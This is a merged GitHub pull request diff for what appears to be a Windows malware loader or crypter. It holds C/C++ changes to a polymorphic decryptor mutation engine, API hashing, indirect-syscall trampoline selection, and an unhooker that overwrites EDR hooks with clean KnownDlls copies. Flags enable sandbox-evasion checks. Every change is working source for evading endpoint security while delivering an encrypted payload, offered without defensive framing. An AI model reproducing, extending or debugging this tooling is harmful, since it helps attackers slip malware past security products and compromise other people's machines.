Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 7 additions & 1 deletion Builder/Builder.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -221,7 +221,13 @@ static BOOL ParseArgs(int argc, char* argv[], BUILD_CONFIG* cfg) {
}
cfg->dll_indices[0] = rnd[0] % 10;
cfg->dll_indices[1] = rnd[1] % 10;
if (cfg->dll_indices[1] == cfg->dll_indices[0])
cfg->dll_indices[1] = (cfg->dll_indices[1] + 1) % 10;
cfg->dll_indices[2] = rnd[2] % 10;
if (cfg->dll_indices[2] == cfg->dll_indices[0] || cfg->dll_indices[2] == cfg->dll_indices[1])
cfg->dll_indices[2] = (cfg->dll_indices[2] + 1) % 10;
if (cfg->dll_indices[2] == cfg->dll_indices[0] || cfg->dll_indices[2] == cfg->dll_indices[1])
cfg->dll_indices[2] = (cfg->dll_indices[2] + 1) % 10;
} else {
printf("[!] Unknown preset: %s (valid: PRINT, MEDIA, NETWORK, RANDOM)\n", preset);
return FALSE;
Expand Down Expand Up @@ -263,7 +269,7 @@ static BOOL ParseArgs(int argc, char* argv[], BUILD_CONFIG* cfg) {
cfg->opsecFlags |= OPSEC_FLAG_KEEP_ALIVE;
}
else if (_stricmp(argv[i], "--unhook") == 0) {
cfg->opsecFlags |= EVASION_FLAG_UNHOOK;
cfg->opsecFlags |= OPSEC_FLAG_UNHOOK;
}
else if (_stricmp(argv[i], "--disable") == 0 && i + 1 < argc) {
if (!ApplyDisableList(argv[++i], &cfg->opsecFlags)) return FALSE;
Expand Down
50 changes: 31 additions & 19 deletions Engine/MutationEngine.c
Original file line number Diff line number Diff line change
Expand Up @@ -41,9 +41,24 @@

#include "MutationEngine.h"
#include <intrin.h>
#include <stdlib.h>
#include <string.h>

/* Local XORshift PRNG — replaces stdlib rand()/srand().
* Keeps MutationEngine consistent with the XORshift pattern used in
* Crypto.c and Common.c; also removes the stdlib.h dependency. */
static unsigned int g_mut_rand_state = 0;

static void mut_srand(unsigned int seed) {
g_mut_rand_state = seed ? seed : 123456789;
}

static int mut_rand(void) {
g_mut_rand_state ^= g_mut_rand_state << 13;
g_mut_rand_state ^= g_mut_rand_state >> 17;
g_mut_rand_state ^= g_mut_rand_state << 5;
return (int)(g_mut_rand_state & 0x7FFFFFFF);
}

/* ============================================================
* DECRYPTOR TEMPLATE – imported from DecryptorStub.asm
* ============================================================ */
Expand Down Expand Up @@ -340,7 +355,7 @@ static int EmitRorAlImm8_V3(BYTE *out, BYTE imm8) {
* V3: lea r9, [r9+1] (4D 8D 49 01) – LEA displacement, 4B
* ============================================================ */
static int EmitIncR9(BYTE *out) {
switch (rand() % 3) {
switch (mut_rand() % 3) {
case 0: /* inc r9 */
out[0] = 0x49; out[1] = 0xFF; out[2] = 0xC1;
return 3;
Expand All @@ -361,7 +376,7 @@ static int EmitIncR9(BYTE *out) {
* V2: cmp r9, rdx (4C 3B CA) – CMP r64, r/m64 (operands swapped)
* ============================================================ */
static int EmitCmpRdxR9(BYTE *out) {
switch (rand() % 2) {
switch (mut_rand() % 2) {
case 0: /* cmp rdx, r9 */
out[0] = 0x4C; out[1] = 0x39; out[2] = 0xCA;
return 3;
Expand All @@ -388,9 +403,9 @@ static int EmitBytes(BYTE *out, int offset, const BYTE *src, int len) {
* ============================================================ */
static int InsertRandomJunk(BYTE *out, int offset) {
/* Random number of junk instructions: 0, 1 or 2 */
int count = rand() % 3;
int count = mut_rand() % 3;
for (int i = 0; i < count; i++) {
int idx = rand() % JUNK_COUNT;
int idx = mut_rand() % JUNK_COUNT;
memcpy(out + offset, JUNK_TABLE[idx].bytes, JUNK_TABLE[idx].len);
offset += JUNK_TABLE[idx].len;
}
Expand All @@ -404,8 +419,8 @@ static int InsertRandomJunk(BYTE *out, int offset) {
* Returns the new offset.
* ============================================================ */
static int InsertRandomNop(BYTE *out, int offset) {
if (rand() % 2 == 0) {
int idx = rand() % NOP_VARIANT_COUNT;
if (mut_rand() % 2 == 0) {
int idx = mut_rand() % NOP_VARIANT_COUNT;
memcpy(out + offset, NOP_TABLE[idx], NOP_SIZES[idx]);
offset += NOP_SIZES[idx];
}
Expand Down Expand Up @@ -446,18 +461,18 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,
if (originalStubSize < 8 ||
DecryptorStubBegin[TMPL_BLOCK_B_OFF] != 0xBA ||
DecryptorStubBegin[TMPL_BLOCK_C_OFF] != 0x45) {
HeapFree(GetProcessHeap(), 0, NULL); /* no-op, just symmetrical with alloc path */
return FALSE; /* Template mismatch — update TMPL_BLOCK_*_OFF constants */
}

SIZE_T maxStubSize = originalStubSize * 4 + 256;
if (payloadLen > (SIZE_T)-1 - maxStubSize) return FALSE;
SIZE_T bufSize = maxStubSize + payloadLen;
BYTE *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
if (!buf)
return FALSE;

/* Seed RNG for this run */
srand((unsigned int)(__rdtsc() & 0xFFFFFFFF));
mut_srand((unsigned int)(__rdtsc() & 0xFFFFFFFF));

int pos = 0; /* current write position in output buffer */

Expand Down Expand Up @@ -500,7 +515,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,
/* Fisher-Yates shuffle for 4 elements → 4! = 24 orderings */
int order[4] = {0, 1, 2, 3};
for (int i = 3; i > 0; i--) {
int j = rand() % (i + 1);
int j = mut_rand() % (i + 1);
int tmp = order[i];
order[i] = order[j];
order[j] = tmp;
Expand All @@ -516,11 +531,8 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,
for (int i = 0; i < 4; i++) {
int idx = order[i];

/* Insert junk before the block (except the first one) */
if (i > 0) {
pos = InsertRandomJunk(buf, pos);
pos = InsertRandomNop(buf, pos);
}
pos = InsertRandomJunk(buf, pos);
pos = InsertRandomNop(buf, pos);

/* Remember the offset of imm32 inside Block B */
if (idx == 0) {
Expand Down Expand Up @@ -571,7 +583,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,

/* --- First XOR step (undoes last encrypt XOR) --- */
{
int variant = rand() % 3;
int variant = mut_rand() % 3;
int emitted = 0;
switch (variant) {
case 0: emitted = EmitXorAlImm8_V1(buf + pos, firstXorKey); break;
Expand All @@ -585,7 +597,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,

/* --- Step 3': sub al, KEY3 (undo ADD) --- */
{
int variant = rand() % 3;
int variant = mut_rand() % 3;
int emitted = 0;
switch (variant) {
case 0: emitted = EmitSubAlImm8_V1(buf + pos, pKey->key3); break;
Expand All @@ -599,7 +611,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,

/* --- Step 2': ror al, ROT_BITS (undo ROL) --- */
{
int variant = rand() % 3;
int variant = mut_rand() % 3;
int emitted = 0;
switch (variant) {
case 0: emitted = EmitRorAlImm8_V1(buf + pos, pKey->rotBits); break;
Expand All @@ -613,7 +625,7 @@ BOOL MutateDecryptor(const BYTE *pEncPayload, SIZE_T payloadLen,

/* --- Last XOR step (undoes first encrypt XOR) --- */
{
int variant = rand() % 3;
int variant = mut_rand() % 3;
int emitted = 0;
switch (variant) {
case 0: emitted = EmitXorAlImm8_V1(buf + pos, lastXorKey); break;
Expand Down
2 changes: 1 addition & 1 deletion Engine/OpsecFlags.h
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@
#define EVASION_FLAG_NO_EXEC_CTRL (1u << 9) /* skip "wuauctl" semaphore check */
#define EVASION_FLAG_NO_UPTIME (1u << 10) /* skip < 2 min uptime check */
#define EVASION_FLAG_NO_CPU_COUNT (1u << 11) /* skip < 2 CPU check */
#define EVASION_FLAG_UNHOOK (1u << 12) /* unhook */
#define OPSEC_FLAG_UNHOOK (1u << 12) /* restore ntdll/kernel32/kernelbase .text from \\KnownDlls\\ */
#define EVASION_FLAG_NO_SLEEP_FWD (1u << 13) /* skip sleep-forwarding check */
#define EVASION_FLAG_NO_SCREEN_RES (1u << 14) /* skip screen resolution check */
#define EVASION_FLAG_NO_RECENT_FILES (1u << 15) /* skip recent-files count check */
Expand Down
2 changes: 1 addition & 1 deletion Stub/ApiHashing.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ constexpr int RandomCompileTimeSeed(void)

// Compile-time seed generation for Djb2 hashing, ensuring variability across different compilations
// Modulo 0xFF to ensure the seed fits within a byte, which is sufficient for our hashing needs
constexpr auto DJB2_SEED = RandomCompileTimeSeed() % 0xFF;
constexpr auto DJB2_SEED = (RandomCompileTimeSeed() % 0xFE) + 1;

extern "C" constexpr DWORD HashStringDjb2A(const char* String) {
DWORD Hash = DJB2_SEED;
Expand Down
2 changes: 1 addition & 1 deletion Stub/Stub.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -91,7 +91,7 @@ extern "C" int EntryPoint() {
* \KnownDlls\ clean copies, overwriting EDR inline hooks.
* Runs after InitNtApi so Sys_Nt* wrappers (HellsHall) are available.
* Runs before StackSpoof so subsequent Win32 calls hit clean code. */
if (opsecFlags & EVASION_FLAG_UNHOOK) {
if (opsecFlags & OPSEC_FLAG_UNHOOK) {
Unhook_RestoreAll();
}

Expand Down
40 changes: 29 additions & 11 deletions Stub/Syscalls.c
Original file line number Diff line number Diff line change
Expand Up @@ -17,16 +17,15 @@ static PVOID g_CleanTrampoline = NULL;

// Helper to sort syscall entries by RVA
static void SortSyscalls() {
for (DWORD i = 0; i < g_SyscallCount - 1; i++) {
for (DWORD j = 0; j < g_SyscallCount - i - 1; j++) {
if (g_Syscalls[j].RVA > g_Syscalls[j + 1].RVA) {
SYSCALL_ENTRY temp = g_Syscalls[j];
g_Syscalls[j] = g_Syscalls[j + 1];
g_Syscalls[j + 1] = temp;
}
for (DWORD i = 1; i < g_SyscallCount; i++) {
SYSCALL_ENTRY key = g_Syscalls[i];
int j = (int)i - 1;
while (j >= 0 && g_Syscalls[j].RVA > key.RVA) {
g_Syscalls[j + 1] = g_Syscalls[j];
j--;
}
g_Syscalls[j + 1] = key;
}
// Assign SSNs sequentially based on sorted RVA
for (DWORD i = 0; i < g_SyscallCount; i++) {
g_Syscalls[i].SSN = i;
}
Expand Down Expand Up @@ -89,16 +88,35 @@ static BOOL ParseNtdllSyscalls(PBYTE pBase) {
static PVOID FindCleanTrampoline(PBYTE pBase) {
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBase + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);

/* Load RUNTIME_FUNCTION table for RVA validation */
IMAGE_DATA_DIRECTORY pdataDir = pNt->OptionalHeader.DataDirectory[3]; /* IMAGE_DIRECTORY_ENTRY_EXCEPTION */
PRUNTIME_FUNCTION pRF = NULL;
DWORD rfCount = 0;
if (pdataDir.VirtualAddress && pdataDir.Size) {
pRF = (PRUNTIME_FUNCTION)(pBase + pdataDir.VirtualAddress);
rfCount = pdataDir.Size / sizeof(RUNTIME_FUNCTION);
}

PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (custom_strcmp((char*)pSection[i].Name, ".text") == 0) {
PBYTE pText = pBase + pSection[i].VirtualAddress;
DWORD dwSize = pSection[i].Misc.VirtualSize;

for (DWORD j = 0; j < dwSize - 2; j++) {
for (DWORD j = 0; j + 2 < dwSize; j++) {
if (pText[j] == 0x0F && pText[j + 1] == 0x05 && pText[j + 2] == 0xC3) {
return (PVOID)(pText + j);
if (!pRF || rfCount == 0) return (PVOID)(pText + j);

DWORD rva = (DWORD)((pText + j) - pBase);
for (DWORD k = 0; k < rfCount; k++) {
if (rva >= pRF[k].BeginAddress && rva < pRF[k].EndAddress) {
if (!(pRF[k].UnwindData & 1))
return (PVOID)(pText + j);
break;
}
}
/* Not inside a valid RUNTIME_FUNCTION — keep scanning */
}
}
}
Expand Down
2 changes: 1 addition & 1 deletion Stub/Unhooker.c
Original file line number Diff line number Diff line change
Expand Up @@ -99,7 +99,7 @@ static void UnhookModule(PVOID hookedBase, PVOID cleanBase) {
}

BOOL Unhook_RestoreAll(void) {
/* Mapuj czyste kopie */
/* Map clean copies from \KnownDlls\ */
PVOID pCNtdll = MapKnownDll(kEncNtdll, 20, 0xAA);
PVOID pCK32 = MapKnownDll(kEncKernel32, 23, 0xAA);
PVOID pCKbase = MapKnownDll(kEncKernelbase, 25, 0xAA);
Expand Down